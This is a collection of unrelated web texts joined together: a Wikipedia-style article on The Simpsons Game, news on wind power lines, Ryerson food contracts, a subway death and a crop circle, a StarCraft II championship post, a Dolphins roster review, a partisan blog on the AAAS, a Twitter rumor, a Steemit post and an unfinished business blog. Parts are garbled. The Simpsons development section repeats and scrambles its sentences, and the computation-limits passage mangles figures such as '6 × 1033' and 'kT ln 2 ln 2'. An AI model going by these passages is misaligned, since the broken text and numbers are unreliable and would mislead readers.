from threats such as choking and heart attacks.[9]  Playable characters [ edit ]  Bart and Lisa battle Dolphins in the episode – "The Day of the Dolphin", showing both the gameplay and the cel-shaded graphical style.  Homer is the first playable character available to the player in "The Land of Chocolate" level. His abilities involve turning into the "Homer ball" by eating food power-ups to let him roll and slam objects;[2] turn into a Gummi Homer by eating small gummi Venus de Milos to shoot gummi grenades;[1] eat hot chili peppers to become Insanity Pepper Homer to use lava and fire bombs;[7] and inhale helium to become a balloon to float in the air.[10] Homer's special power is a giant burp, which can stun enemies.[1][10] Bart first appears in the second level of the game "Bartman Begins". He can turn into Bartman, allowing him to use zip-lines, climb certain walls, glide over long distances, and do other acrobatic feats.[2][3] Bart's special power is releasing a flood of bats towards enemies. He can use his slingshot to defeat enemies and hit targets from afar.[7][11]  Lisa is introduced in the fourth level "Lisa the Tree Hugger". Her main attack style is kicking, and her power is the "Hand of Buddha".[7] She can use it to flick, smash, freeze, or send lightning bolts to enemies, as well as lift certain items.[12] Lisa's special power is playing her saxophone to attack and stun enemies. As the levels progress, Lisa can use her saxophone to turn enemies against each other.[10] Marge is the least-playable character. Introduced in the fifth level, "Mob Rules", Marge learns her power is to make large crowds obey her.[2] She can use her mob to break down obstacles, build objects, attack enemies, and repair objects.[11] Maggie is, in effect, an extension of Marge, briefly playable in air ducts and other small spaces.[7][11]  Plot [ edit ]  The game begins with Homer having a candy-induced fantasy about a world of chocolate where he tries to catch and eat a white chocolate rabbit; upon waking up he is upset to find that it was all a dream.  Bart goes to the video game store and coerces the clerk to let him buy the new and violent Grand Theft Scratchy game, only to have it confiscated by Marge. While Bart mopes, a video game manual falls down from the sky in front of him. Reading through the manual, Bart discovers that he and the rest of his family have special powers. Later, Bart uses his Bartman powers to stop Jimbo, Kearney, and Dolph from stealing from the Natural History Museum send by Princical Skinner to use the museum exhibits for the science class, Homer uses his ability to become a huge ball and win an eating contest, Lisa uses her powers of meditation to stop a deforestation project, and Marge uses her powers to influence crowds to stop the release of Grand Theft Scratchy in Springfield, although Lisa points out it is ironic she used violence to stop a violent game.[5]  During dinner, the family is euphoric with their new powers. However, it leads to an argument about what they should be doing with them. Aliens Kang and Kodos decide to strike Earth, and an alien invasion unfolds. Realizing none of their powers are strong enough to defeat the aliens, Bart and Lisa visit Professor Frink. They visit his house to find him not there, but they stumble upon a portal that sends them to a place called the game engine where all video games are made. After saving him from a giant gorilla, Frink gives them The Simpsons Game's player's guide to teach them how to better use their powers as well as gain new ones, and the Simpson family soon sets out to try and stop the alien invasion. First, Bart and Lisa aid Captain McCallister in beating back mind-controlled dolphins that are attacking the city aquarium. Then, Bart and Homer defeat the Lard Lad statue which has come to life. Finally, they save the Springfield Mall and Cletus from the aliens.[5]  In order to find out the truth, the family turns to the Internet to discover more about the powers they have in the game, but are accidentally sent to the game engine when Homer spills beer over the keyboard. There, they discover Will Wright, who is destroying copies of an old 8-bit The Simpsons game and its characters. The family manages to save their 8-bit predecessors before they are destroyed by Wright, and discover that they will also become obsolete when the next The Simpsons game is released. The only way to prevent this is to talk to the creator of the games and convince him not to destroy them. In order to access his mansion, the family needs to acquire four key cards from four upcoming Simpsons games. First, Homer and Marge defeat a two-headed dragon whose heads are those of Patty and Selma in the Neverquest game. Marge and Lisa then travel to Grand Theft Scratchy, eliminating all offensive material and replacing it with more family-friendly material. Next, Homer and Bart travel to France during World War II to thwart Mr. Burns' plan to steal priceless French paintings, in the Medal of Homer game. Lisa and Homer then travel to ancient Japan to defeat the evil Mr. Dirt and his "Sparklemon" in the Big Super Happy Fun Fun Game.[5]  Once they have all four key cards, Bart and Homer infiltrate the creator's mansion. They are greeted by Matt Groening, who sends Futurama characters Bender and Dr. Zoidberg after them. The family manages to defeat them, however, and Groening admits that he is only creating new games for the money, and destroys the game engine. The Simpsons, along with several other characters from the games, escape to Springfield, where the aliens are still attacking. Lisa uses her power to create a stairway to heaven in order for the family to ask God for advice. After he is defeated in a game of Dance Dance Revolution, God reveals that the video game that they're in is a mini-game in another video game about Earth. He dropped the video game manual by accident, thus endowing the family with superpowers. Realizing his misdemeanor, he promises to restore Springfield, let them keep their powers, and to improve the working conditions of all video game characters. He also gives Homer three wishes. Lisa asks if God ever wonders if he himself is a character in a video game. As God nervously scoffs at this theory, it turns out that Ralph Wiggum is playing the entire game before he looks at the screen, wondering who was looking at him.[5]  Development [ edit ]  The Simpsons Game, and Electronic Arts published and distributed it. Electronic Arts' Redwood Shores team, based in Redwood City California , developed, and Electronic Arts published and distributed it.  The game's storyline was written by Tim Long, Matt Selman, and Matt Warburton, who are all regular writers on The Simpsons. They wanted to create something that appealed to the fans of the show, and was, in its own right, "a great new game".[13] Matt Groening and the writers had continuous feedback on the game's content, from its "look and feel" to its puzzles and gameplay. The game's executive producer, Scot Amos, said it was an amazing partnership between the writers and the developers.[13] Selman, the head writer, says the reason they decided to call it The Simpsons Game and not add a subtitle was because they felt it was a restart of "the 'Simpsons' gaming franchise [...] a big, new, fresh game that takes on video games and hilarious things of all time".[2]  The Simpsons Game. Matt Selman was the head writer of  The Simpsons Game was published by Electronic Arts and developed by its subsidiary, EA Redwood Shores; the company had signed a contract for the video game rights to The Simpsons in 2005.[14] The game's lead designer, Greg Rizzer, said that when he asked his bosses if they could parody some Electronic Arts games including Medal of Honor, they were enthusiastic about it.[15] The Simpsons Game, which parodies video games from 30 years prior to 2007, was forced to have some of its content removed after several video game companies complained about it. Rizzer, however, was still pleased with the amount of parody in the game and considered The Simpsons the "perfect vehicle to poke fun at the games industry".[16] At the 2007 Games Convention in Leipzig, Germany, a poster for "Grand Theft Scratchy", one of the levels in The Simpsons Game and a parody of Grand Theft Auto, was asked to be taken down by an employee of Rockstar Games, the company that develops the Grand Theft Auto series of video games. Several companies, however, embraced the game's parody of their video games, including developers from Harmonix, who were pleased with the game's "Sitar Hero", a parody of Harmonix's Guitar Hero video game.[16] In addition to game parodies, The Simpsons Game also features several cameos with satirical spins, including Matt Groening as himself and Will Wright as an antagonist.[1]  The graphics for the game's characters are cel-shaded, and an implemented technique helps flatten the character models from any angle that the camera views them from, in order to recreate the 2D, hand-drawn look seen in the show.[17] The development team found it particularly difficult to render Lisa's spiky hair as 2D in the game's 3D environment.[18]. There is a different cover for the game on each console.[15]  Reception [ edit ]  The game received mixed reception, receiving an aggregated score of 71% on Metacritic for the Xbox 360 and PlayStation 3 version of the game.[35] Praise focused on the game's visuals and writing, which lampooned the gaming industry and the show itself. The Simpsons Game won the award for Best Game Based on a Movie or TV Show at the Spike Video Game Awards 2007,[36] and was nominated for the first-ever award for Best Video Game Writing at the Writers Guild of America Awards 2007.[37] As of January 31, 2008, four million copies of the game have been sold overall.[38] Its PlayStation 2 and Nintendo DS releases each received a "Platinum" sales award from the Entertainment and Leisure Software Publishers Association (ELSPA),[39] indicating sales of at least 300,000 copies per version in the United Kingdom.[40] ELSPA presented the game's Wii, Xbox 360 and PlayStation Portable versions with "Silver" certifications,[41] for sales of 100,000 units or more each in the region.[40] Peter Nowak of CBC News named it the third-best game of 2007 and described it as "easily the best game starring the wacky residents of Springfield".[42]  The game's use of The Simpsons-style humor received a mixed reception. Both GameSpot and GameTrailers said that the game delivered more than enough laughs to make it worth playing through at least once.[23][26] It was considered enjoyable for both hardcore and casual The Simpsons fans by IGN and GameDaily, who also called it a particularly appealing game for diehard fans.[28][29] Despite the few problems that the game had, GameSpy said that it was worth it to see the humorous parodies.[25] Eurogamer's Tom Bramwell, however, believed that the game's humor could only carry it so far, and suggested that those interested in The Simpsons humor should purchase a box set of one of the television series' seasons instead.[11] Joe Juba of Game Informer called the game an average experience. He elaborated that the game would appeal primarily to fans of the television series, but would not be worth playing for people unfamiliar with it.[21]  Eurogamer praised the involvement of people from The Simpsons television series with the game's development[11] and GameZone enjoyed the two-character mechanics of the game and had fun collecting unlockable items.[20] GameTrailers thought the graphics and animations looked great and appreciated the hand-drawn appearances, even though they found it obvious that the characters were "never really meant to jump into the third dimension" because of their second-dimension roots.[26]  Criticism of the game focused on its short, uninspiring gameplay and troublesome camera system. GameSpot considered the gameplay "nothing special"[24] while GameZone called it a "pretty shallow" game that depended too much on repetitive jumping puzzles and a weak combat system.[20] The game disappointed IGN because it did not include an online feature and it was deemed too short.[28] The camera system was found to be problematic by both GameZone and GameSpy, who called it "a pain" and a "busted" feature;[20][25] GameDaily also found it bothersome because it often got stuck.[29]  The DS version of the game, which was significantly different from the other versions, received praise for its unique gameplay, but criticism for its short length. IGN lauded the DS version's unique gameplay experience[27] and GameSpot proclaimed that it was satisfying from start to finish.[22] GameSpot and GameZone, however, were both disappointed that the game was extremely brief.[19][22] 1UP found that even though The Simpsons Game parodied numerous 2D platform game conventions, it used them anyway, making it a pointless endeavor.[9]  Cancelled sequel [ edit ]  Electronic Arts planned to produce a sequel to the game, entitled The Simpsons Game 2, along with a Nintendo Wii version of Dead Space 2, but both were cancelled in 2011 because the studio decided to make room for other projects.[43]
-HOUSTON (Reuters) - The push to boost U.S. electric generation from wind and other renewable energy sources is forcing U.S. lawmakers to address the contentious issue of whether states or the federal government should have final authority to site new power lines, industry officials said on Friday.  Six 1.5-megawatt wind turbines are pictured at work at the Exelon-Community Energy Wind Farm at Somerset, Pennsylvania, August 10, 2008. REUTERS/Stelios Varias  Denise Bode, head of the American Wind Energy Association, said national oversight of transmission development is critical to exploit the country’s abundant wind energy resources.  Thousands of miles of new high-voltage lines will be needed to move electric generation from the windiest regions in the center of the country to power-hungry cities.  “We need a national transmission policy,” Bode said at the Gulf Coast Power Association conference on Friday.  She expressed optimism the issue can be resolved with legislation in the current Congress which is looking at economic and other measures to encourage renewable power to lessen U.S. dependence on foreign oil and to create jobs.  The Energy Policy Act of 2005 gave the Federal Energy Regulatory Commission additional authority to oversee some transmission siting questions, but stopped short of giving the agency broad siting and planning responsibility.  Most power-line siting issues are handled by state regulators.  “The issue has matured” since that time, said Bode.  Pat Wood, former FERC chairman, said the agency is well-equipped to handle the task, given its experience regulating the nation’s vast interstate natural gas pipeline system.  “They were ready yesterday,” said Wood, from the conference sidelines. “It has worked great for gas.”  “Nobody talks about it because it works,” said Wood. “It’s paid for and it’s safe. That is what we want for the power grid.”  FERC’s new siting authority has been challenged in court, so statutory changes will be needed, Wood said.  Bode also said a federal mandate calling for a percentage of the nation’s the electric supply to come from less-polluting resources, known as a Renewable Portfolio Standard (RPS), is  needed if the administration wants to rebuild the economy with manufacturing jobs tied to wind and other clean energy sources.  “A state-by-state RPS cannot create the national market to bring these jobs in,” said Bode. “If you are trying to get manufacturing companies to grow in the U.S., chasing an RPS in each state won’t work.”
-Lovedrop Profile Joined April 2010 2579 Posts Last Edited: 2012-04-04 16:25:35 #1  The Battle.net World Championship, which will take place later this year, will be the culmination of more than 30 eSports events run by Blizzard and tournament organizers. These events are collectively known as the StarCraft II World Championship Series.  The goal of the StarCraft II World Championship Series is to identify a true global champion, as players enter and qualify through open tournaments starting at the national level. The National Championships are designed to allow local heroes to rise to the top and be recognized in their country. The top finishers at each National Championship will earn spots at their continental Finals events, which will be an all-out brawl between neighboring countries to decide who will represent their continent at the Battle.net World Championship.  Do you think you have what it takes to compete at the Battle.net World Championship?  Read more  + Show Spoiler [FAQ] +  How do I qualify?  You must climb the ranks of the StarCraft II World Championship Series. The entry level will be made up of National Qualifiers and will give players a chance to earn a spot at their respective National Championship. Once you’ve made it through to your National Championship, you must then fight through your compatriots for an invitation to your Continental Championship. At your continent’s Finals, you’ll be up against other National Champions all vying to earn the right to represent their country and continent at the Battle.net World Championship.  What are National Qualifiers?  National Qualifiers are events, both live and online, that have been awarded slots that feed into a National Championship. Winners of National Qualifiers will receive an invitation, including travel expenses, to attend their National Championship. Some events will have Nationals slots added to their prize pool; others will be complete standalone events. More information about where to sign up for your country’s National Qualifiers will be made available soon!  Will the format of every National Championship and Continental Championship be the same?  Yes! The rules of play for each National Championship and Continental Championship will be identical. Each tournament will be a best-of-3 double-elimination format.  How do you define nationality?  For the 2012 StarCraft II World Championship Series, nationality is defined by your country of citizenship. Should you have multiple countries of citizenship you must choose one for the tournament year, and you will have to qualify through that country’s path in order to climb through the ranks.  My country is not listed here; will I be able to participate in the StarCraft II World Championship Series?  We plan to accommodate as many countries as possible. More information about participating countries not listed here will be posted at a later date.  What is the total prize pool of the StarCraft II World Championship Series?  More information about prize pools for the StarCraft II World Championship Series will be announced soon.  When are these events happening?  More information for National Qualifiers -- including details about your country’s National Qualifiers and the various organizations involved at the National Qualifier level -- as well as details on National Championships and Continental Championships, will be announced soon. Be sure to check back at StarCraft2.com for further updates.  The Battle.net World Championship, which will take place later this year, will be the culmination of more than 30 eSports events run by Blizzard and tournament organizers. These events are collectively known as the StarCraft II World Championship Series.The goal of the StarCraft II World Championship Series is to identify a true global champion, as players enter and qualify through open tournaments starting at the national level. The National Championships are designed to allow local heroes to rise to the top and be recognized in their country. The top finishers at each National Championship will earn spots at their continental Finals events, which will be an all-out brawl between neighboring countries to decide who will represent their continent at the Battle.net World Championship.Do you think you have what it takes to compete at the Battle.net World Championship?Read more here Writer undefeated thunderdome champion 。ﾟ+.(o´･ω･｀o)+.ﾟ｡ｲｨ!! :+:+: @lubdrop
-Hardware physical limits [ edit ]  There are several physical and practical limits to the amount of computation or data storage that can be performed with a given amount of mass, volume, or energy.  Processing and memory density [ edit ]  The Bekenstein bound limits the amount of information that can be stored within a spherical volume to the entropy of a black hole with the same surface area.  Thermodynamics limit the data storage of a system based on its energy, number of particles and particle modes. In practice it is a stronger bound than Bekenstein bound.[1]  Processing speed [ edit ]  Bremermann's limit is the maximum computational speed of a self-contained system in the material universe, and is based on mass-energy versus quantum uncertainty constraints.  Communication delays [ edit ]  The Margolus–Levitin theorem sets a bound on the maximum computational speed per unit of energy: 6 × 1033 operations per second per joule. This bound, however, can be avoided if there is access to quantum memory. Computational algorithms can then be designed that require arbitrarily small amount of energy/time per one elementary computation step.[2][3]  Energy supply [ edit ]  Landauer's principle defines a lower theoretical limit for energy consumption: kT ln 2 ln 2 joules consumed per irreversible state change, where k is the Boltzmann constant and T is the operating temperature of the computer.[4] Reversible computing is not subject to this lower bound. T cannot, even in theory, be made lower than 3 kelvins, the approximate temperature of the cosmic microwave background radiation, without spending more energy on cooling than is saved in computation. However, on a timescale of 109 - 1010 years, the cosmic microwave background radiation will be decreasing exponentially, which will make it possible to eventually get 1030 as much computations per unit of energy.[5]  Building devices that approach physical limits [ edit ]  Several methods have been proposed for producing computing devices or data storage devices that approach physical and practical limits:  Abstract limits in computer science [ edit ]  In the field of theoretical computer science the computability and complexity of computational problems are often sought-after. Computability theory describes the degree to which problems are computable; whereas complexity theory describes the asymptotic degree of resource consumption. Computational problems are therefore confined into complexity classes. The arithmetical hierarchy and polynomial hierarchy classify the degree to which problems are respectively computable and computable in polynomial time. For instance, the level Σ 0 0 = Π 0 0 = Δ 0 0 {\displaystyle \Sigma _{0}^{0}=\Pi _{0}^{0}=\Delta _{0}^{0}} of the arithmetical hierarchy classifies computable, partial functions. Moreover, this hierarchy is strict such that at any other class in the arithmetic hierarchy classifies strictly uncomputable functions.  Loose and tight limits [ edit ]  Many limits derived in terms of physical constants and abstract models of computation in Computer Science are loose.[11] Very few known limits directly obstruct leading-edge technologies, but many engineering obstacles currently cannot be explained by closed-form limits.  See also [ edit ]
-Ryerson University has ditched its long-time food provider for a company promising to put more “local and sustainable” food in campus cafeterias. In a move that surprised student officials, the downtown university has decided not to renew its contract with Aramark Canada Ltd., a multinational corporation that’s stocked most of the campus eateries for the last two decades.  An Aramark food services truck on Yonge St. near Ryerson University. The institution has switched to another provider after complaints about Aramark's food and controversy over financial losses. However the student union says Ryerson is replacing one conglomerate with another, and that the student body is skeptical that will result in better food. ( TORONTO STAR FILE PHOTO )  Ryerson came under fire earlier this year when the Star revealed the university was paying millions to Aramark for running its on-campus food operations at a loss. The switch to Chartwells, also a corporate food giant, was announced Wednesday in a bulletin to staff and students. Entitled “a new era of food at Ryerson,” Julia Hanigsberg, Ryerson’s vice-president of finance and administration, writes the agreement “is part of our ongoing commitment to improve food at Ryerson” with an aim to “provide eating options that enhance the well-being and enjoyment of students, faculty and staff.”  Article Continued Below  The bulletin stresses change is afoot and promises that in September students can expect “high-quality, affordable” food, healthier, more diverse culinary options and a commitment that 25 per cent of campus fare will be “sustainable and local.” But student officials aren’t impressed by the move from one large corporation to another and say they’re not convinced it spells the end of crappy, expensive, low-quality campus food. PREVIOUSLY: Ryerson spending millions to cover food conglomerate’s losses.  Students say money should go to better use. Attempts in the last year to affect culinary change at Ryerson sparked a food fight between students and the administration. Rajean Hoilett, a Ryerson Students’ Union vice-president, says the RSU wasn’t consulted about the new contract and he does not believe that private companies can deliver the accountability and transparency necessary to improve the food.  Article Continued Below  “We don’t see this as a step in the right direction,” he says. “We just see it as a step in a different direction.” To set the wheels of change in motion, Ryerson says it hired Joshna Maharaj, a chef and vocal food activist responsible for transforming menus at several Toronto hospital cafeterias. Maharaj says gluten-free, vegan, vegetarian, halal and seasonal food is on its way to campus this fall. As well, she says, students can expect innovative food programming, such as community feasts and markets. There may even be a Ryerson food app. “Food is going to be alive on campus in a way I don’t think it has been before,” she says. “I would not have stepped into a scenario if didn’t see a major commitment to significant change with a very sharp focus around sustainability.” Maharaj, who begins work Tuesday, believes the new contract gives Ryerson more power over its menus, food sourcing, and personnel. She says the company, which operates in more than 1,000 Canadian schools, colleges and universities, has committed to increasing the percentage of local and sustainable food it offers to students, with each year of its contract. Ryerson spokesperson Michael Forbes said the school signed a letter of intent with Chartwells on July 25. “Right now, we’re negotiating all of the terms of the contract,” he said. “We’ve agreed they will be our provider and now we’re just working out all of the details.” As of right now there are no contract details about length, cost or staffing levels required that can be made public because negotiations are still ongoing, said Forbes. He expects there will be a signed agreement within the next two weeks. Forbes said Chartwells will have a management team of six people on campus. Meanwhile there are about 70 OPSEU workers in the cafeteria, who will remain on Ryerson’s payroll and are not affected by the change. At this time, Chartwells, which will act as the overall supplier and manager, cannot disclose details of the contract. Maharaj will collaborate with Chartwells about the overall food services. While she isn’t apprised of specific details, Maharaj says the contractual kinks that required Ryerson to pay Aramark’s shortfalls have been ironed out of the current agreement. Ryerson paid $5.6 million to Aramark as per its most recent five-year contract. “That issue and that section has been addressed with a lot of conscientiousness and with as much transparency,” she says.
-Analyzing the players who made the Miami Dolphins' 53-man roster:  Quarterback (2): Ryan Tannehill and Matt Moore  Ryan Tannehill: He's made tremendous strides in this new spread offense (86.5 passer rating, 68.3 percent of passes completed), which will utilize his athleticism more and requires accuracy. But is Tannehill a top 15 NFL quarterback yet?  Matt Moore: He's one of the top five backup quarterbacks in the NFL, which should justify his $4M salary for this season. But the Dolphins have discussed trades involving him, and other quarterbacks.  Cut: Seth Lobato  Tailbacks (4): Lamar Miller, Knowshon Moreno, Damien Williams, Orleans Darkwa  Lamar Miller: Miller's speed will allow him to deliver stretch plays, but he needs to become a better inside runner to hold off Knowshon Moreno.  Knowshon Moreno: Moreno's ability to set up blocks should boost the Dolphins' running game, but only if he's healthy. He’s not there yet.  Damien Williams: This undrafted rookie from Oklahoma has been one of camp's more pleasant surprises, but he’s still an unfinished product.  Orleans Darkwa: Darkwa, who produced a team-leading 194 all-purpose yards in the exhibitions season, came on strong late. But his spot isn’t safe.  Cut: Daniel Thomas, Marcus Thigpen  Receiver (5): Mike Wallace, Brian Hartline, Brandon Gibson, Jarvis Landry, Rishard Matthews.  Mike Wallace: Wallace's ability to get open deep makes him one of the NFL's top big play receivers, but he needs chemistry with Tannehill.  Brian Hartline: Hartline's savvy route running and reliable hands will likely help him remain the team's leading receiver.  Brandon Gibson: He's a smart, tough route runner who continues to develop as a dangerous slot receiver. But he’s got competition now.  Jarvis Landry: This former LSU standout, whom the Dolphins selected in the second-round, is the second coming of O.J. McDuffie.  Rishard Matthews: He emerged as a reliable slot receiver last season, and his toughness could help him excel as this unit's top reserve.  Cut: Kevin Cone, Matt Hazel, Damian Williams (Aug. 31)  Tight ends (3): Charles Clay, Dion Sims, Gator Hoskins  Charles Clay: Clay is nursing a sore right knee, but when he gets healthy he should threaten the seam for this offense.  Dion Sims: He was adequate as a rookie last season, but this camp he's made significant improvements as an in-line blocker.  Gator Hoskins: This rookie from Marshall, who led the nation in touchdowns for two college seasons, has a knack for finding the end zone.  Cut: Kyle Miller, Evan Wilson  Branden Albert: He's a forceful pass block, which should be expected since he's a Pro Bowler. But his run blocking needs work.  Daryn Colledge: His experience level and durability helped him lock down the starting left guard spot, but can he stay healthy for his ninth NFL season?  Mike Pouncey: Pushing his rehab of a surgically repaired hip helped him avoid beginning the season on the PUP. He’ll begin practicing this week.  Shelley Smith: He's small compared to the rest of Miami's offensive linemen, but his athleticism should help him with run blocking.  Ja'Wuan Jame: James is a polished pass rusher, who has proven he can be durable. However, this tackles run blocking needs work.  Samson Satele: Satele has started 98 games in his seven NFL seasons, and will hold the center spot down until Pouncey's healthy enough to play.  Billy Turner: The 2014 third-round pick is a violent run blocker when healthy, but he needs to get technically sound, and get past his turf toe injury.  Nate Garner: Garner's versatility had helped him start 19 games in his six seasons with the Dolphins. He plays all five O-line spots.
-It looks like the American Association for the Advancement of Science is transforming itself into a partisan special interests group:  AAAS, the world’s largest general scientific organization, announced Thursday that it will partner with the March for Science, a nonpartisan set of activities that aim to promote science education and the use of scientific evidence to inform policy.  I suppose we should not be surprised by this effort to make science more political. Consider who is in charge of the AAAS:  AAAS CEO Rush Holt said, “AAAS will encourage and support its members and affiliate organizations to help make the March for Science a success. We see the activities collectively known as the March as a unique opportunity to communicate the importance, value and beauty of science. Participation in the March for Science is in keeping with AAAS’ long-standing mission to ‘advance science, engineering and innovation throughout the world for the benefit of all people.’”  According to Wiki:  Rush Dew Holt Jr. (born October 15, 1948) is an American politician who was the U.S. Representative for New Jersey’s 12th congressional district from 1999 to 2015. He is a member of the Democratic Party.  Holt is not politically moderate, but represents the extreme left wing of the Democratic Party:  As a Congressman, Holt maintained liberal viewpoints on several major issues, and consistently voted accordingly. For example, he supported abortion rights, opposed the privatization of Social Security, and supported a public health care option…..In 2009, the National Journal rated him as one of the eight most liberal members of the House of Representatives.[37] Holt’s rankings released by various interest groups reflect his liberal views. Since 2009, he has been rated 100 percent in accordance with the interests of the following interest groups, among others: American Public Health Association, Americans for Democratic America, and NARAL Pro-Choice America.[38] Holt was a member of the New Democrat Coalition and the Congressional Progressive Caucus.  I’m shocked, shocked I tell ya, that an extreme lefty from the Democratic Party would lead the AAAS into partnering with the Science Against Trump March for Science.  But it gets a little more interesting.  If you click on the red Donate button for the March for Science, you will learn that:  ScienceDebate.org is the fiscal sponsor of the March for Science  And check out your url. When you clicked on “Donate” you were redirected to the ScienceDebate.org webpage.  What is a fiscal sponsor?  Using a fiscal sponsorship arrangement offers a way for a cause to attract donors even when it is not yet recognized as tax-exempt under Internal Revenue Code Section 501(c)(3). In essence the fiscal sponsor serves as the administrative “home” of the cause. Charitable contributions are given to the fiscal sponsor, which then grants them to support the cause.  I see. So by donating to the March for Science, you are donating to ScienceDebate.org.  So who is running that show?  One of the co-founders is none other than atheist activist Lawrence Krauss, the extremist who argues that teaching children creationism is child abuse and argues that religion is bad for society.  But that’s not the interesting thing to note. Is it that that another founding member is a contributing editor for the anti-religious The Skeptical Inquirer?  No.  Check out the Advisory Committee:  Rush Holt, CEO, American Association for the Advancement of Science; Executive Publisher, Science magazine; Former Democratic congressman from New Jersey  Hmmm. So the recent ex-politician who heads the AAAS has helped steer the AAAS into supporting the political March for Science. This will likely increase donations for the March, which means more money being sent to ScienceDebate.org, the organization that Holt himself is part of as its Advisory Committee.  Advertisements
-A man who was fatally struck by a train at an Upper East Side subway station on Thursday evening has been identified as Alex Gardega, the artist who placed a statue of a pug urinating on the "Fearless Girl" statue.  Gardega was pronounced dead at the 77th Street station after being hit by a southbound 6 train just after 6:30 p.m. on October 12th. The Daily News spoke to the motorman, James Muñoz, who "said the train was about 100 feet away from the station when the emergency brake kicked in."  “So I just had to investigate and see what was the cause,” Muñoz said. “I have a flashlight, I was able to see it clearly." Muñoz said he found Gardega between the seventh train car and the maintenance catwalk that runs along the tracks. He said Gardega was likely on the tracks when he was struck.  In May, Gardega decided to add his statement to the popular "Fearless Girl" statue that was placed in Bowling Green, facing the "Charging Bull" statue. Gardega called the statue "corporate nonsense," referencing the fact that it was the work of a huge financial services firm ( which was eventually accused of gender discrimination ). He told the Post, "It has nothing to do with feminism, and it is disrespect to the artist that made the bull."  In an interview with Gothamist, Gardega further explained, "I wanted it to be, like, punk rock lo-fi as a statement.... I would respect ["Fearless Girl"] if it was done by a random artist standing up against Wall Street."  Gardega's family told the News, "Alex was a brilliant and passionate artist who loved to provoke reactions from people with his work."
-Twitter has been completely emphatic about where developers should stake a claim, with Twitter Platform Lead Ryan Sarver warning the ecosystem to stay away from building “client apps that mimic or reproduce the mainstream Twitter consumer client experience.”  Well if Sarver stays true to his word the Twitpics and Yfrogs of the world can just give it up now. According to multiple sources, Twitter is on the verge of announcing its own built in Twitpic competitor. Like tomorrow, if things go according to plan (naturally this post might change that).  This shouldn’t really come as a surprise to anyone, as photosharing is the next logical step of Twitter expanding its in app experience. It’s basically grabbing at low hanging fruit.  Twitter is flinging money around; It just spent $40 million on power user client Tweetdeck which represents 13% of its userbase. It’s only natural that they would spend more resources on photosharing, especially considering how much money is being poured into the white hot space and that images were the crux of the success of competitor Facebook.  I’ve got no details on what exactly the photosharing URL shortener will be if any (Twitter has owned Twimg.com for a long time) or what the Twitter for Photos product will look like. Just that it’s coming, soon. And if they’re smart they’ll put ads on it.
-In an attempt to rearrange the subreddit a bit better and make it easier to read and filter through posts you aren't interested in without having to read the full title, I started setting up flairs today.  There's been a small hick-up since we realized we don't have full permissions as moderators of the subreddit, which means we can't add more users to moderate it and play around with the css of flairs and since I'm the least technical person for this we will have to figure out some other ways. This also means though that we can't sticky important posts or news on top of the subreddit which would've been really needed for important developments and news such as posts from @steemitblog or @steemitdev for visitors of the subreddit.  What you can do now though is set up flairs, we currently only have 4 user flairs that you can choose from: Minnow, Dolphin, Whale and Visitor.  For post flairs we have a selection of this to make it easier for people to read so I recommend anyone posting on the subreddit to set their flairs depending on what your post is about, here is what you can choose from so far and if you have any more recommendations feel free to tell them here in this post.  This means that when you write a submission to the subreddit you can afterwards click on "flair" under your post title and choose one of those corresponding to your post.  Here on the sidebar is where you can find user flairs to choose your own flair, more will be coming soon and made more pleasing to the eye.  I will soon be starting to curate through posts listed on the subreddit as well to grow some activity on there so make sure to create a Reddit account and subscribe to https://www.reddit.com/r/steemit/ in case you haven't done so yet!  Thanks for reading!
-Please turn on JavaScript. Media requires JavaScript to play. Advertisement  A 250m-long crop circle of a jellyfish has appeared on farmland.  The owners of the land in Oxfordshire have urged visitors to stay away from the circle, which is also 60m (197ft) wide, to avoid further crop damage.  Sally Ann Spence and husband Bill, who own Berry Croft Farm near Ashbury, said hundreds of visitors have been trampling over their field.  They said it was "beautiful" but the flattened crops were now "useless" and the damage would cost about £600.  "We have not given permission for people to walk on our land," Mrs Spence said.  "The pattern has already cost a great deal of damage - possibly about £600.  "People can get a better view from the air."  She said she was not concerned about tracking down the culprits and the incident has not been reported to the police.  It is not the first time crop circles have appeared on their land, they said, but the jellyfish is one of the most spectacular.  Correction: Mrs Spence inadvertently provided a figure of £600,000, rather than £600, for the damage caused, which was used in an earlier version of this story.
-Ten years ago I started my own business. At that time I felt this was the best decision ever in my entire life. Ten years after I still feel the same with all my heart.  Having your own business is one of the most challenging situations in which you can put yourself. And I’m not talking only about the financial part of a business. Most of the crash-courses on how to start your own business have a strong focus on the profit and financial facts. They are all selling you methods to reach profit quickly. And, to some extent, those are good and proven methods, but they have nothing to do with the pre-conscious choice of having a business. Those profit making courses are assuming you already took the decision.  In fact, having a business is not at all about profit. If you are serious about it, and if it proves to be a good and mature choice, you will have to face the profit challenges sooner or later. It’s in a business nature to have profit in order to survive. But making profit the most important part in having a business is just wrong. It’s something that you deal with months or years after you started your business for real.  The choice of starting your own business is more like an adventure than a spreadsheet. It’s more about risk taking than financial security. It’s more about personal development and growth than bank statements and material wealth.  In today’s post I’ll share some thoughts about how I decided to start my own business, and how this decision still benefit me after ten years.  The Drive  I was 29 year old when I started my own business. Until that age I was mostly dragging around, living by talking out loud (really, I was working as an anchor man on FM radios, I have a pretty radiophonic voice) and never making plans for tomorrow. For several years in a row I was mostly drinking my evenings out with the same people, borrowing their misery and trying to find reasons to wake up the next day.  But around that age something started to change in me. Never knew how to define that. It was a drive for deep, fundamental and meaningful change. And that desire for change was spreading over all areas of my life: personal, as well as professional. To make a long story short, it was a mix of bad personal choices and amazingly risky professional decisions that lead to the final result: setting up my own company.  I won’t go into technical details about how and when exactly I did it. I want to focus more on the inner reasons that took me there. And those inner reasons are made of only three main qualities: courage, curiosity and enthusiasm. All three qualities mixed together created a powerful drive for change.  Courage  The definition of courage is for me the ability to change at any given point a status-quo without hesitation and with all available energy. Regardless of the overall context, of course.  And the overall context at that time was simply horrible for starting a business. And when I say horrible, I mean it. Cash was simply intangible as a resource, you couldn’t borrow money from the bank without accepting an interest higher than 80%. Yes, higher than 80%, which means credit was simply prohibitive.  Cash was the smallest problem, by the way. You had to face corruption, lack of qualified people – which made me to learn a lot of different skills, and an almost desert market for online products. Basically, you were far better at that time if you could secure a job and get on with it.  But against all odds I started this business. And my very first project was worth over 20.000 USD, an amount who let me finance my activities for the first year, until I set up a qualified team and a location. Not even my associates believed me at that time, until they saw the contract.  I started the business as an act of conscious change, despite of an unfriendly context.  Curiosity  Curiosity as a quality is often underrated. It’s amazing how useful curiosity is for a balanced life and for constant growth. I think boredom is a chronic imbalance with curiosity. I also think curiosity is somehow related to our ability to create and maintain happiness.  Although I was working as an anchor man – well, ok, I was climbing on the hierarchy and go through all the levels of a FM radio 